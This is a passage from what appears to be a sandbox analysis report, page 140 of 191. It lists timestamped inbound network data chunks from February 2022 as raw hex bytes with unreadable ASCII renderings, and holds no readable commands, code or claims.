6e 48 30 e8 45 86 fb 2b 86 83 7c d6 ba 40 fe 9e bf cf b0 c1 58 5c f7 02 9b d6 bf 9a 78 5c f7 2a 93 d6 bf 0a 11 4b 23 94 11 
44 a8 de 8e a3 63 55 c4 14 84 86 50 9f c4 a9 a3 1d 8c 9a 28 55 95 11 60 6f be f5 59 53 82 7e 11 5f be a8 c0 b0 7c 6b 86 
b3 ca ac 76 b0 e2 19 fd fe 24 d1 ad 3f e7 53 d7 ff 24 90 14 79 d4 93 9f 33 53 74 74 4a 90 b7 b7 8b 1b ff bb 8f 9c 18 58 4d 
5f db 9b 71 89 9f 73 b3 4a d9 70 04 44 52 38 ca 5b 
Data Ascii: hN v$8qzyLulzd22I'it=%GoYZp;aTB1nY5{MUtCiIF: bxnH0E+|@X\x\*K#DcUP(U`oYS~_|kv$?S$y3SttJXM
_qsJpDR8[

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 140 of 191



2022-02-08 23:07:12 UTC 857 IN Data Raw: 88 0c 1e 26 88 a9 d2 fa cf 6a 11 39 0c a9 b4 9c a9 fa 11 39 fa 70 53 03 39 af 90 c0 89 5c 1b 8a 5b d7 51 18 90 
5c 1b 8a 43 d7 5b 88 c0 5c 11 1a db d7 5b 88 f8 5d 67 82 73 17 f5 a9 f8 5d 67 9a 73 17 f5 a1 c5 0c dd ee 60 c0 01 69 a3 
03 8a a5 a3 d1 01 69 a3 43 ca e2 6f 43 58 31 e4 03 5a b2 6f cf 5a 20 74 44 96 20 e6 67 1c 1c ec ec d0 1c 7e c7 5b d0 7e 
55 68 5b b2 55 fa 60 04 46 c9 23 cb a1 0a 09 44 9d 36 35 4b 92 b9 7f cc 75 62 f0 86 fa 85 13 10 6a 10 87 9b 22 3f 0c db 
0d a4 87 9b ab af 44 10 e3 b6 b4 01 69 fe 87 8a 21 c4 00 c4 a0 2f 8b 8a 2e 3c a0 8b 13 00 9c 00 55 35 2a d6 7e 7a cb 15 
bd 7e 08 c0 7e bd cb eb 14 56 08 28 54 5d 34 00 cb d6 72 18 7c 10 f9 5e 40 a7 db 25 7c 9b e7 99 f3 d5 69 1a 78 9b e7 
11 f3 63 fc 9a bb 76 f8 1c 98 f7 3b df 5b 3b bf c4 dd cb 
Data Ascii: &j99pS9\[Q\C[\[]gs]gs`iiCoCX1ZoZ tD g~[~Uh[U`F#D65Kubj"?Di!/.<U5*~z~~V(T]4r|^@%|ixcv;[;

2022-02-08 23:07:12 UTC 859 IN Data Raw: 6b 26 6d d4 a7 53 ac 5f 6b 27 2d 9d 23 ae ed 16 6b 3f 29 90 20 fe 8c 12 6a 7f 4e 90 20 f6 8e 1a 6a 67 4a 90 
22 67 4a a0 ee cb 8b 90 6c 07 37 51 e6 4f 37 51 43 ea fb 8d 04 29 38 4e c7 ea 9d eb 62 b9 38 4e 31 33 7a 74 f2 d0 b9 b7 
42 51 32 ff 85 98 bd b7 12 51 76 3c 52 53 95 b7 18 d1 b6 38 52 43 9d b3 1a c4 54 80 95 8c c3 49 ae 06 ff 43 25 4c 7d 70 
aa 06 ef 4b 1c 11 65 0b 3f cd 4f 2c 01 f1 73 89 a4 54 bf 55 e3 97 7c 96 20 54 d9 c5 ab 16 e0 06 78 d5 23 b7 0e ae c0 74 
cd 6d 0c af 0a a4 c0 74 8d 6d 43 ff cf 6f 00 3c 0c ac 3c 37 ba 83 b7 75 90 40 64 b6 53 3b e7 75 90 f8 68 3d 5f 31 e7 75 c8 
f8 2c fa 04 f8 e6 75 c8 f8 74 be 47 b0 fb 77 94 3f b3 e0 5d e4 3c 2c 5d 6e ef a3 91 6e 7d 78 1e 26 f2 b1 fd a9 ba 26 34 42 
31 66 36 c1 be aa 36 4b 9d 25 fa 4b 0f 0e 75 03 80 
Data Ascii: k&mS_k'-#k?) jN jgJ"gJl7QO7QC)8Nb8N13ztBQ2Qv<RS8RCTIC%L}pKe?O,sTU| Tx#tmtmCo<<7u@dS;uh=_
1u,utGw?]<,]nn}x&&4B1f66K%Ku

2022-02-08 23:07:12 UTC 861 IN Data Raw: a0 dd 2d 48 3d 06 ef 8b b6 4c 2b b7 a6 c7 63 79 7f dc a2 ba 43 0a 35 61 81 c9 be 29 9a 42 f6 e7 5b 59 37 24 
67 8f b0 ff a5 4c 3f 07 85 fa f9 88 7d c1 4e f2 f2 89 6e 79 b8 16 89 92 33 5e b9 19 79 c1 5e ea f6 89 65 61 bc 0e 82 9a 37 
46 b9 11 7d c1 5e f2 55 95 d5 bc 83 c7 0c 7e 40 4c 42 b0 e9 95 80 73 c2 1f bd 4f fe 94 f3 99 b3 4d 31 5a 38 03 ff e6 e1 
c1 3c cd 14 fc 00 f1 47 7a 46 c4 f0 b6 3c 0f 33 75 ff 24 22 8d 3c e7 a4 cb 09 51 41 cf cf e1 f9 0e 0c 23 3a cd cf 59 f1 0e 0c 
9a da 74 f4 59 19 f6 bc 57 32 14 84 6b 0e 96 cc 65 32 40 1f b0 f0 83 10 3b b8 1c f7 88 33 54 40 6f 88 df 00 68 0b 5d 9c 
ea 96 df 02 68 09 43 02 67 06 4c 84 97 05 bc 95 bd 98 81 a9 81 97 8e 2a 11 1c ce 05 f2 54 d4 2e 2a be 17 ed 60 25 c8 
66 20 22 2b fe 20 2d 24 75 6a b2 c3 be fe 39 83 91 
Data Ascii: -H=L+cyC5a)B[Y7$gL?}Nny3^y^ea7F}^U~@LBsOM1Z8<GzF<3u$"<QA#:YtYW2ke2@;3T@oh]hCgL*T.*`%f 
"+ -$uj9

2022-02-08 23:07:12 UTC 863 IN Data Raw: 8e 36 bd 17 39 f8 32 5f 3f 08 23 d5 77 07 08 7d 53 3b 34 56 aa f3 f7 95 ae 30 16 56 6d f3 3c d7 50 cf 00 97 dc 
14 e3 1c 34 09 13 0d bf 41 13 87 8b 74 39 71 b6 48 05 31 3a 93 d6 19 13 9c 5d 59 3c 67 d2 13 b3 80 31 9d fb 8b be d5 fa 
00 fe dc c6 2b 35 1f 05 e8 be 5f 02 13 be 50 0d 1c 35 18 0a 97 7f 83 c1 1c 35 30 12 97 7f 8b c9 18 35 38 2a 9a a1 b3 6a 
b5 52 39 22 87 dc 71 19 0c 94 48 96 44 a6 c6 d0 47 11 65 5e 01 1b d2 c6 8a 53 4d 21 29 d8 0b 39 9f 39 80 79 a6 05 37 
b0 29 4d 36 40 38 66 22 65 04 5a 09 00 cd 99 ca 04 0e 4c 09 c7 cd 67 09 14 0e a4 21 f8 85 ec 29 d3 bf 64 ea 10 ec ef a0 
8f 0b 0c 2f c7 06 82 67 c3 8d ca 73 49 c5 c7 58 cc fb fb 64 47 b3 c0 ef 0f bb eb 5f 80 78 28 d4 c8 7c 00 15 38 7f 8b 5d a7 
98 08 d6 ef 2f ef 5d 64 67 50 ba f7 e8 18 0d 10 73 93 
Data Ascii: 692_?#w}S;4V0Vm<P4At9qH1:]Y<g1+5_P55058*jR9"qHDGe^SM!)99y7)M6@8f"eZLg!)d/gsIXdG_x(|8]/]dgPs

2022-02-08 23:07:12 UTC 865 IN Data Raw: a7 ae 9f 8e 02 2c 53 77 a2 ee d0 c7 6c 61 70 c5 e2 a1 72 60 60 6d 8b c0 a2 ee 3c b8 28 ae 3e 6b 00 8f b1 21 
87 68 6a b1 0c 28 45 52 86 60 5e 12 bf a2 e8 ac 94 e8 28 6f 57 ae 2b d9 93 5e 28 f3 67 9c eb 30 4c 76 33 f3 8f 30 30 45 
4b 1b 63 85 88 d8 4b af a3 b6 a1 6c 60 8a 77 88 ab 48 b4 03 e1 8e c7 07 20 4d ec f7 92 8e 2f 7c d8 48 18 d4 19 8b 33 60 
bc 48 f0 26 bf f2 34 0d 0e 2a f7 ce 26 22 dc 76 89 e1 1f 30 8a 5a c3 1b 67 f6 00 d8 21 f5 bb 0d d1 ff 90 c1 ff c3 ac 87 fc 75 
64 bb 3a 67 cc 7a f9 4d c3 b9 3a 8e e8 11 90 4d 2b 39 99 0b 3a 8f 08 43 fc f7 a0 82 3f b1 a3 4e 72 08 9f 72 4e 34 94 38 
88 5c 3c f9 4b a6 ea 47 e3 67 29 f1 25 4c 28 de 19 70 03 50 31 4c 3f db 77 54 89 08 5c a4 23 cb 9f 8f e6 13 5c 4c cd 21 
9d 8f 0e 72 16 c9 16 c4 aa 89 e8 0f 7c 48 2b 33 cb 
Data Ascii: ,Swlapr``m<(>k!hj(ER`^(oW+^(g0Lv300EKcKl`wH M/|H3`H&4*&"v0Zg!ud:gzM:M+9:C?NrrN48\<KGg)%L
(pP1L?wT\#\L!r|H+3

2022-02-08 23:07:12 UTC 867 IN Data Raw: 91 7f 87 a8 90 f8 cd 6e ed 51 0c ad 1d 52 87 ed 1a 81 1f ed 15 8e 94 a5 12 05 de 3e c1 8e 94 8d 1a 05 de 36 
f9 93 55 78 92 18 6d 44 ae 93 2f 6b dd 55 ec a8 56 1d 2a b8 98 dc e9 33 68 db 62 79 2e b8 a5 ba ed 3a ed 81 a5 0b a5 
9b e5 31 99 2c 23 1a d6 80 e0 d9 96 27 07 2a 55 ac 49 a5 b2 5b b9 b4 30 20 ee 77 f3 e3 c5 a5 e7 df f9 2e a9 58 1e dd 22 
16 90 ce a9 5c 17 29 4a d7 59 af 59 5c 13 28 be b7 38 06 5e 74 fb 8d 16 32 80 4a d5 f1 0b 00 93 fa c8 c3 50 71 86 85 2b 
b6 45 46 61 01 a2 b5 ea 41 a1 7e a0 fe 46 89 2b b4 c0 22 a0 fc 86 59 67 3f 45 d2 2d b8 a2 51 11 6e 87 6d d2 ad 0c 23 5d 
4a ef 6b 66 61 c2 80 a5 a2 84 83 13 71 c2 bf a5 be 82 87 99 09 46 cf 91 22 87 63 52 e1 0c 2b 1c 82 cb e8 df 09 3b e7 f4 
75 eb 24 37 fa a5 7b d0 89 63 b8 13 03 2b 20 c8 89 63 90 2b 
Data Ascii: nQR>6UxmD/kUV*3hby.:1,#'*UI[0 w.X"\)JYY\(8^t2JPq+EFaA~F+"Yg?E-Qnm#]JkfaqF"cR+;u$7{c+ c+

2022-02-08 23:07:12 UTC 880 IN Data Raw: cc f0 82 c3 8b c5 38 5d 4c 57 3d da ab d8 ce 58 e5 4a ff 13 62 ad 71 3b f1 2f 0b f0 32 ec c8 76 75 d9 72 f4 f3 
11 42 dc 0c 9b 0a 62 cf 11 4a 64 04 3a 11 cb c7 f9 97 3b d6 bf 94 f7 91 e8 52 34 52 6a 67 31 b1 dd a1 94 fb 29 89 55 b1 
dd 8d d2 56 42 4f 11 95 81 65 be 55 42 a6 3c 15 4f 25 be 6f 86 e6 7d ac ce 71 9a 27 b5 b2 d9 e4 76 35 9f d7 c1 fc 11 9f 
47 3f 9b df 41 f4 b3 26 c3 38 ca 03 0c 89 e6 89 4c 8f 2d 0b 79 8a ce bc a3 05 84 13 44 b6 06 26 41 35 b1 e2 cf f9 cd 64 f4 
d1 12 e2 38 a5 94 d9 10 73 16 ec 15 f0 a1 29 9b 50 27 12 b3 97 a1 5a 35 ac 2e 10 9a 4b 9d 92 af 4e 1e 25 61 c0 58 26 
db 0b d2 12 c0 89 1e 6b ed 42 99 2d de f4 50 af 12 8d 75 60 a3 4d f3 28 a0 cb b5 0f 1a 00 37 70 d8 c3 f4 b3 f0 0b 76 f3 
d5 3f f0 0b f5 b9 3c 87 d5 3e 74 28 32 9d fe 60 31 16 
Data Ascii: 8]LW=XJbq;/2vurBbJd:;R4Rjg1)UVBOeUB<O%o}q'v5G?A&8L-yD&A5d8s)P'Z5.KN%aX&kB-Pu`M(7pv?<>t(2`1

2022-02-08 23:07:12 UTC 883 IN Data Raw: c1 7f fb 10 02 bc 38 3b 2d c5 fb f8 6b c6 4c 33 23 41 ab c0 6b 4a a5 2a e0 04 6b b6 78 c5 a8 9d e9 12 6b 5e 
62 5a ec b9 89 d1 a6 7f 0c 4e 67 bc 87 00 e0 5b 6c 8b a0 58 a7 00 ea 9e b2 98 2b 5d 39 d0 ed b1 a6 11 2e 3a ec d7 4d 
a3 2d 14 49 65 68 8d 88 a6 a2 4a 4b a5 a6 8c 08 3c 67 4f ca ff a4 8c ce 39 ed 15 0f fa 2f d6 cc 39 54 1d 0f fa 97 96 a7 f9 
54 1d e9 37 15 84 28 f4 5d 13 cf 07 d6 59 18 c5 5d 17 d6 45 8f d5 15 6e 7a e8 29 52 f1 a8 2e b9 f1 a7 a5 ff fb 6b e2 15 39 
a8 21 9e 73 37 c6 4d e7 bc 86 62 04 37 ce 78 8f 7f 44 83 04 39 4e 34 c2 12 59 34 fe 2e d2 7c 76 a5 59 3a 7c 12 9f 11 79 
12 a3 2d f2 5a 2b b6 79 1c 21 01 bf 37 5a 01 83 0b d1 49 0b a0 5a 0f 01 17 9c 24 68 17 a0 18 e3 5f 28 ab 68 19 22 1c ae 
32 7d 1c 92 0e f6 54 1a b5 7d 12 10 02 bb 39 5d 02 87 
Data Ascii: 8;-kL3#AkJ*kxk^bZNg[lX+]9.:M-IehJK<gO9/9TT7(]Y]Enz)R.k9!s7Mb7xD9N4Y4.|vY:|y-Z+y!7ZIZ$h_(h"2}T}9]

2022-02-08 23:07:12 UTC 885 IN Data Raw: 93 d4 f5 e7 50 17 36 65 13 13 d5 e7 53 1e 56 6c 1d 80 45 ee 55 b0 c3 a8 72 7c 89 41 b3 bf 4a c3 cc 7a 89 00 
0f 50 2f c1 cc 93 6f fb 6a 5f 20 3b aa 9c e3 7b 90 38 5e 6b d0 02 f4 a7 97 2b 37 64 54 6b 0d c9 98 2c 61 0a 5b ef 21 30 f7 
23 66 65 34 e0 a5 25 0e 53 12 87 4e 69 a2 4b 09 ac 9e 77 35 ec a4 c1 f9 ab a2 02 3a 68 e2 38 81 a4 a4 38 40 67 67 76 
c2 0b 4f e4 fe 00 ea 63 04 d2 5d a8 8f 92 5f 69 c9 91 e9 5a 42 79 e1 d1 50 43 c9 32 db 05 d1 b9 17 82 0f 21 21 40 cc aa 
69 48 e4 63 55 43 63 98 87 f4 a7 13 bb f6 e1 10 0d c7 09 18 47 48 ee 9f 6d f6 2f 5c ae 74 50 8f 6d b7 93 0d a1 ce be c1 
da 0a 7d 02 19 40 fa e5 ba c2 80 36 79 01 43 b0 3e 34 f9 2e f9 a6 fc a9 1e 29 0f 2b 50 bb 3e 60 d7 5c b0 48 44 de ca 83 
87 1d 09 05 c0 28 b3 87 46 e0 83 af b9 6a cb 11 7a e0 8b 
Data Ascii: P6eSVlEUr|AJzP/oj_ ;{8^k+7dTk,a[!0#fe4%SNiKw5:h88@ggvOc]_iZByPC2!!@iHcUCcGHm/\tPm}@6yC>4
.)+P>`\HD(Fjz

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 887 IN Data Raw: b0 bd 66 1a 57 7f e4 5a 2c 68 27 99 ef aa 9a 40 60 e4 1d a7 83 67 d1 d2 8e 1e 1a 11 4d dd 31 b1 d8 1e f2 3e 
90 99 15 dd b8 48 9f 95 fb 83 5d 56 38 00 91 23 35 cc e5 e4 be 8c c6 2f f8 8f 71 e4 7b c6 81 6f 47 c6 a9 12 0f a9 4e 41 cc 
6a 8d c2 8f 57 63 74 49 17 6d b5 61 d2 ee f6 5c 3a 58 33 df 73 a8 b8 e3 73 2e fe d6 c4 f0 7c 98 41 cd 3c a3 a0 78 f0 2d 
e6 44 47 ed 68 0e a3 1d 54 24 45 df 97 e7 c3 99 a2 51 26 1a e1 6c d5 ad 2a ee a8 64 e9 2d 6b 4c 1e 64 ab a3 85 0f b7 
14 4e 8d ca df 8d 4e 09 f7 6a cc 74 24 a9 0f b7 0c 66 8d f7 31 b5 3b 22 b2 f6 06 d1 04 25 4f 11 eb be 24 0d 5d 75 a7 44 
ed b7 2c 04 ed 76 a2 4c be bd 60 8f 7d 4d 71 cf 76 71 f3 fb 43 f6 bb f0 c0 3a ce fd 46 f6 ba 3a cf 74 f2 31 8f 56 35 86 45 
d5 f9 fb 48 95 d3 08 60 4c 51 4a 43 8c 93 89 80 3b 7c 
Data Ascii: fWZ,h'@`gM1>H]V8#5/q{oGNAjWctIma\:X3ss.|A<x-DGhT$EQ&l*d-kLdNNjt$f1;"%O$]uD,vL`}MqvqC:F:t
1V5EH`LQJC;|

2022-02-08 23:07:12 UTC 889 IN Data Raw: 24 75 2a f6 e7 fe 64 20 ee c6 a7 e3 65 8e af 68 2f 48 fc 3c ee 8b c0 ea 1f 90 03 29 94 de d5 39 ac 1d 16 b2 5c 
db 31 94 9e 18 ba dc 96 93 f0 1a 2f c7 31 d9 13 11 e6 c2 d0 d2 6d 8c 06 c4 55 4f c5 4f a5 89 c0 69 67 4a 4b 21 6f c1 01 
e7 c8 95 c0 24 f4 43 f5 30 37 80 7e 7e e1 8c 46 bd 22 07 b6 7b 49 21 74 b8 c2 69 7c 33 88 af f1 67 49 6c cd b1 52 78 0e 
72 d9 36 d8 60 e1 f5 1b eb 11 33 52 cd d3 f0 d9 85 db 7b 93 43 20 2f 52 80 1c f9 2b 94 df 3a a0 da 09 32 98 19 ca b9 68 
df 65 9f aa 1c ee d7 a2 97 a4 11 4b c3 65 d2 77 15 3a c6 b4 d6 b1 88 62 a8 89 4b a1 23 79 8d 2c 05 bb 4e a7 4d b3 c5 
ed 8b 74 91 2c 48 48 47 91 5c 8b 84 1a 12 5d e8 22 d1 9e 63 d2 17 6d 45 10 d4 e6 0d 18 5f ac cb 2d 0a 6d 08 11 dc ce 
1c d2 1f 45 52 04 7d 7d 91 c7 f6 8d 57 16 d0 4f 94 9d 98 47 
Data Ascii: $u*d eh/H<)9\1/1mUOOigJK!o$C07~~F"{I!ti|3gIlRxr6`3R{C /R+:2heKew:bK#y,NMt,HHG\]"cmE_-mER}}WOG

2022-02-08 23:07:12 UTC 891 IN Data Raw: bd 7f 7f 89 4d 75 54 21 7c 49 68 72 fe 36 bb b8 3d f5 fb 80 f5 41 0b 02 39 21 14 b2 d7 aa 5c f7 bc 69 9f 34 37 
23 18 d3 dc a8 58 b6 b7 6b 9b 75 74 2b a3 be c2 ba eb fb b1 79 28 38 fb fe cf 93 ff bb bc 50 3c 78 f3 93 ff bb b3 ab 34 0d 
49 e3 fa ef 7c 20 39 a7 6e 6a b6 40 8d 22 70 9a b8 e1 b3 5a b3 19 a1 e4 5c 92 01 ed d7 52 0b 66 9f 17 68 a5 5c d4 e3 e5 
fb df 28 26 c7 de 62 b1 20 3d 2a 7f 13 0b e9 bc 3b 1b 19 b6 07 cd 0c ba c4 0e 86 f0 01 48 ba 47 c5 b8 b0 6c c6 88 8c 50 
86 b0 47 e6 48 f8 12 95 8b 3b d1 dd 83 b9 ed c9 ab 7f a5 c1 29 43 b1 81 11 8b 7d c5 fe b7 41 f9 7c 7b 21 e6 b0 3b c0 da 
8c 07 4b 92 0b e0 a0 19 41 a5 cb da 82 66 8b e2 49 aa cd 2c 75 96 f1 64 f2 71 5a 2e b7 02 99 ed 74 28 a4 d0 48 14 2f 98 
d7 f3 9c 13 97 f4 6f 91 0b 76 f2 13 94 ea 6f 13 1f 
Data Ascii: MuT!|Ihr6=A9!\i47#Xkut+y(8P<x4I| 9nj@"pZ\Rfh\(&b =*;HGlPGH;)C}A|{!;KAfI,udqZ.t(H/ovo

2022-02-08 23:07:12 UTC 893 IN Data Raw: 97 6c 92 9c 3a 45 ae a0 69 0d 2e 67 23 cb 21 9e e2 08 69 1e 29 42 af 1a d0 83 6c 91 98 c3 8f 50 5b 00 04 1a 
9d 6e fd db 5e 26 e9 54 10 e0 36 93 2d dc 7c 04 ca 3f 3c 3d 0c 81 ea b6 ac 88 26 c2 2b 00 e9 67 a9 4a ae ec f2 bf 69 2f 
ce be 41 0e 86 aa 0b 99 61 49 49 a0 a3 8b 8a 63 1d 5b 01 c3 14 12 86 19 cf 93 cd 5e 0d 20 db 9e ce 1c da b6 ec 56 65 
51 0f 14 59 92 cd d7 9a 2c 18 5c 3a 20 51 1b e0 fa 93 d8 23 7b d8 9f e1 38 cd 5f 22 04 c9 77 3f 8f 81 b9 d0 96 43 7a 90 
9d 7f 49 5c 9f bd 75 57 29 6f fe 1f e7 b6 e7 dd 24 3c 1f d0 93 fa 34 cb cb c6 08 40 81 18 c2 59 43 db f1 65 83 93 fc 4e d7 
bb c0 72 ff 53 80 49 c3 e5 65 c6 8d 13 5f df 4f d0 d5 27 52 67 1e ac 1a 6f 35 c3 42 53 09 e8 ea 52 35 d4 ee 91 e0 17 2d 
52 c8 d1 dd 6e 4f 99 e1 ec 07 9d 6a a4 98 7a e9 2f d0 cd 
Data Ascii: l:Ei.g#!i)BlP[n^&T6-|?<=&+gJi/AaIIc[^ VeQY,\: Q#{8_"w?CzI\uW)o$<4@YCeNrSIe_O'Rgo5BSR5-RnOjz/

2022-02-08 23:07:12 UTC 895 IN Data Raw: 4a 77 fd ed 4e 3f f6 c6 1b f9 35 05 e3 fd 83 c9 ab 7d 58 8e a8 c7 94 ce 8b f9 de 4e 50 d1 1a 0e d8 0a f9 4e d5 
36 72 06 5d e5 32 a6 96 26 7a a3 1d 6e cd 44 e6 e5 87 8c 6d ad 18 6b 9e 26 58 6c 7d ba 58 63 72 b5 22 a1 b1 76 e1 8b 
70 b5 22 48 7f ba a9 02 e0 5d 62 89 aa ea 85 5a 21 a0 3a bd fa 22 ac 3f 6f a0 38 b4 2f 8f cb 33 67 bd 3b 06 97 81 75 8b 
55 aa 4a a9 69 96 19 59 71 14 59 57 4d 5e c6 b0 ae a6 18 00 03 67 db be be e8 7b 86 35 a0 bd 1a 98 61 7e 93 d0 b6 45 
18 96 a7 f2 bf a3 26 29 ff 14 bb 61 f7 3f 0d 5e cb 03 5e d5 83 c5 dc 78 42 06 55 30 8d 3d 60 b2 56 7d d7 42 d4 3d ea 80 
62 ec c1 f7 5f d0 fd 75 a7 d6 4a 95 9b d3 00 22 7c 34 28 fa fa 72 1d 4c 2f 47 9f 97 ee f0 4c bc ba cd 70 80 38 35 76 02 f4 
b2 48 48 4b 55 a3 c3 03 83 9d 6d c2 40 14 25 15 79 5c 2d 
Data Ascii: JwN?5}XNPN6r]2&znDmk&Xl}Xcr"vp"H]bZ!:"?o8/3g;uUJiYqYWM^g{5a~E&)a?^^xBU0=`V}B=b_uJ"|4(rL/
GLp85vHHKUm@%y\-

2022-02-08 23:07:12 UTC 897 IN Data Raw: a0 9e b8 91 db 5f 7b 52 18 14 fc b5 bb 96 bc 12 6c 05 7f 99 22 92 98 3a 0a 18 54 47 00 33 f3 a8 c3 f0 b5 ab 
74 07 3f e3 70 8c d7 e3 fa 4c d2 68 ba 77 10 a4 f7 1c d2 67 34 97 9c e8 d3 14 1e 93 12 d7 dd 50 99 9f cd 7b 04 19 0e b8 
44 22 32 74 03 4c f0 b7 c0 c7 cc b7 e8 18 4e cc 2a db 8d 0f a1 93 9d 84 ef 1c 7a 07 c4 e2 fc c4 07 a2 c7 f8 cb e5 88 3a 
08 26 03 7a af c1 f8 b9 24 81 5f 5e d7 42 17 d1 30 dd 9c 9f b7 3a 3f 10 f9 bd d8 93 7b c7 1a 50 b8 04 ea 41 bc 83 0d aa 
7a 40 ce 69 f1 7c ce e2 bb fb 29 01 87 2d 4a 7a 44 ee cd 32 6f a8 ce fe 28 22 0c 3d eb a9 44 b2 0c 3a cf f2 ab dd 2c 31 20 
93 ea b1 c9 52 29 3a 81 9d 22 b5 cf 12 c5 2e 44 5c 52 c9 e7 d6 1a 06 28 50 52 00 14 86 f1 75 d7 45 b7 76 1b 02 5a b1 
d8 c1 12 89 5a 29 2f 49 e5 ce a4 ce 1f 61 43 55 d3 2e 80 
Data Ascii: _{Rl":TG3t?pLhwg4P{D"2tLN*z:&z$_^B0:?{PAz@i|)-JzD2o("=D:,1 R):".D\R(PRuEvZZ)/IaCU.

2022-02-08 23:07:12 UTC 899 IN Data Raw: 8e 9e 7c d4 ce bc be 63 64 f4 be e1 26 cf 82 dd 1a 73 4e 88 19 35 4d 3e ce 1e 4a 57 f2 22 00 8c d9 cc 68 b0 
e5 c8 ab 65 26 0b 68 4d b2 43 64 66 4b b2 a7 a5 18 3a ef 22 26 f9 da a5 d5 32 18 12 07 b4 50 17 8d fc 47 5f 81 d7 dc 9c 
42 14 94 87 6a c2 bf bf 03 fe 83 bb c0 34 40 78 03 1f 03 11 3f 23 49 ca 7f 2b 75 82 73 00 d6 77 b0 c3 9e 77 98 1a b5 df f1 
26 89 95 2a 0d 9e fc 16 31 9a 3f dc f2 59 fc f7 c0 2a c0 cb 80 21 fc 40 c8 be 1b db 43 f6 ac 3c e0 7d ec 3b 03 ff 70 b9 9e 
7d ee 3b 01 e1 ee 34 0e 6a a4 a3 e9 b9 ee 2c 0e 72 78 bc 9b e6 fa 2b 19 70 78 be 9b e4 f3 f6 b4 6f b3 d9 2f ed fb c2 df 
d1 74 62 dd 5e 3c 6b d9 d8 1f 56 e5 e4 23 1c 5b cf 69 82 68 4d 29 b9 55 fb fd 92 6b 91 c1 ae 21 6a ea 0b 48 56 d6 0f 8b 
9c 15 cc 48 b6 28 08 8b 75 6e 02 47 3e 72 c6 84 fd 
Data Ascii: |cd&sN5M>JW"he&hMCdfK:"&2PG_Bj4@x?#I+usww&*1?Y*!@C<};p};4j,rx+pxo/tb^<kV#[ihM)Uk!jHVH(unG>r

2022-02-08 23:07:12 UTC 901 IN Data Raw: 19 57 e5 fe ec 90 26 b5 6b 62 dc 3d 23 25 f5 3e d6 e2 36 75 41 11 cf 5d ce 9b 37 41 78 48 4e 88 bb 8b 8d 2d 
41 1d 96 9b 87 b8 dc 4b af 4c 94 c5 24 c7 90 c4 19 fb ac f8 9e b5 2d 38 b5 6f e8 fb 76 16 21 38 b5 d5 ae 76 63 17 89 48 
5f b2 73 de 44 05 a6 f6 8b 7c 6f 35 48 bf e0 7b 9e 91 c0 45 a2 34 47 0f 52 bf 07 0f 93 30 ff a9 30 fc be ae 0d c0 82 86 ea 
48 ca c9 c3 4b 3f 0e 00 02 b8 fc cb 69 3b 4a 00 a6 fa 01 87 54 31 29 48 d6 fd 5d 8f 31 58 17 4f ba 18 17 8e 38 f0 0b 09 70 
c0 21 f3 4d fc 1d cf 9b 93 78 0c 58 d3 43 ca ee 0b 68 97 8f 37 54 93 4c fd 97 50 8f d6 77 31 b3 ea 73 f2 75 29 b0 31 5f 8c 
89 0d 63 cc b2 a3 af 8a 27 9a 93 b6 6f 86 b9 73 52 ba 85 83 51 92 5c a8 6d f0 60 94 27 0b 4b 3f 46 37 77 3b 85 fd b4 f8 
46 d6 f2 93 7a ea b2 98 46 61 f2 9f dd e3 6e 1d 
Data Ascii: W&kb=#%>6uA]7AxHN-AKL$-8ov!8vcH_sD|o5H{E4GR00HK?i;JT1)H]1XO8p!MxXCh7TLPw1su)1_c'osRQ\m`'
K?F7w;FzFan

2022-02-08 23:07:12 UTC 903 IN Data Raw: 60 02 0c c3 49 8f cd 00 f7 3f 46 48 e3 b5 0e 46 c8 77 01 7a f4 fc 49 71 7f b6 ce 96 94 3d 88 95 22 f7 0f dd dc fd
82 1c 1f d5 13 97 bf c5 9c d9 79 df 4d 18 ba 55 07 df a9 d2 c5 31 d8 5f 04 f2 52 17 c3 e1 d9 d1 00 29 1a 12 8b d1 11 a2 
62 74 15 20 a9 b7 dc ab e9 7d e0 2c a3 df 2f 6f 01 24 6c ca 05 a6 96 03 cc 21 dc a1 5f a6 97 03 d0 2d 57 0f 5b 67 d8 e8 
b0 4f dc d4 b0 67 9f 56 f8 58 18 1c 5f bf fb 93 11 51 ba 42 d0 92 38 ba ec 2c 8e 31 a4 e1 05 7f 26 20 8e 3f 1d e2 3b b3 9f 
d7 fe 71 28 5d 7c 44 ed 96 ca 8d d1 40 77 d1 12 83 31 d2 a5 79 ba 72 b9 f2 f2 72 32 f0 c9 b4 72 d0 15 3f da c8 8e b5 1a 
57 88 76 91 1d 17 91 7a 96 5f 54 f1 dc 9f d6 b8 19 d4 56 73 92 9a de a0 eb f9 12 63 28 c5 c4 7c 74 06 07 40 f4 c9 3b 44 
be 76 dc a7 34 4a d9 28 7e fd 3e d3 f5 bd 3b 18 
Data Ascii: `I?FHFwzIq="yMU1_R)bt },/o$l!_-W[gOgVX_QB8,1& ?;q(]|D@w1yrr2r?Wvz_TVsc(|t@;Dv4J(~>;

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 905 IN Data Raw: ee e6 4a 0f 65 da 4a 84 a5 c1 03 44 e2 c2 b5 61 ac 46 77 18 67 85 b4 db ec 25 bf f0 d9 25 83 cc 52 6d b8 47 
18 ab 87 7f da 68 0c 39 d9 df 70 b2 91 01 83 8d 53 c2 c0 75 90 75 53 fe d8 7d 78 56 19 be bb 15 e1 40 f5 a6 23 f7 18 2d 
83 da 61 ef 40 19 a2 64 08 17 89 1c 08 2b b5 97 42 ef 3e d1 41 58 a0 5e 09 58 2b 16 1f d3 63 1d 34 3d 86 de f7 7b 85 68 
50 f0 c5 6c 9b 7b 65 69 10 bb 7e 2a e8 78 c8 5e 63 30 16 46 5b f2 d5 cd 13 fa fe f5 bb c6 c2 7e fb 20 ca 46 39 e3 09 cd 
79 07 ca c9 bf 5d 5e 08 7c 9f 9d cb bf 6f 9e 40 f7 f0 79 c3 7c b8 d6 24 f7 33 9e 93 10 a0 15 d3 17 53 89 d3 9c 1b 47 4f a4 
d9 84 64 a5 71 b8 58 2e 31 5e c9 16 f3 9d 0a 3c 25 a1 36 00 ae e1 91 e7 4d 22 17 17 47 a4 e7 14 b7 b5 17 1e 9c da 4c 
22 a0 d5 43 2d af 5e 09 b2 48 bd 9f 39 00 92 14 79 2f 71 
Data Ascii: JeJDaFwg%%RmGh9pSuuS}xV@#-a@d+B>AX^X+c4={hPl{ei~*x^c0F[~ F9y]^|o@y|$3SGOdqX.1^
<%6M"GL"C-^H9y/q

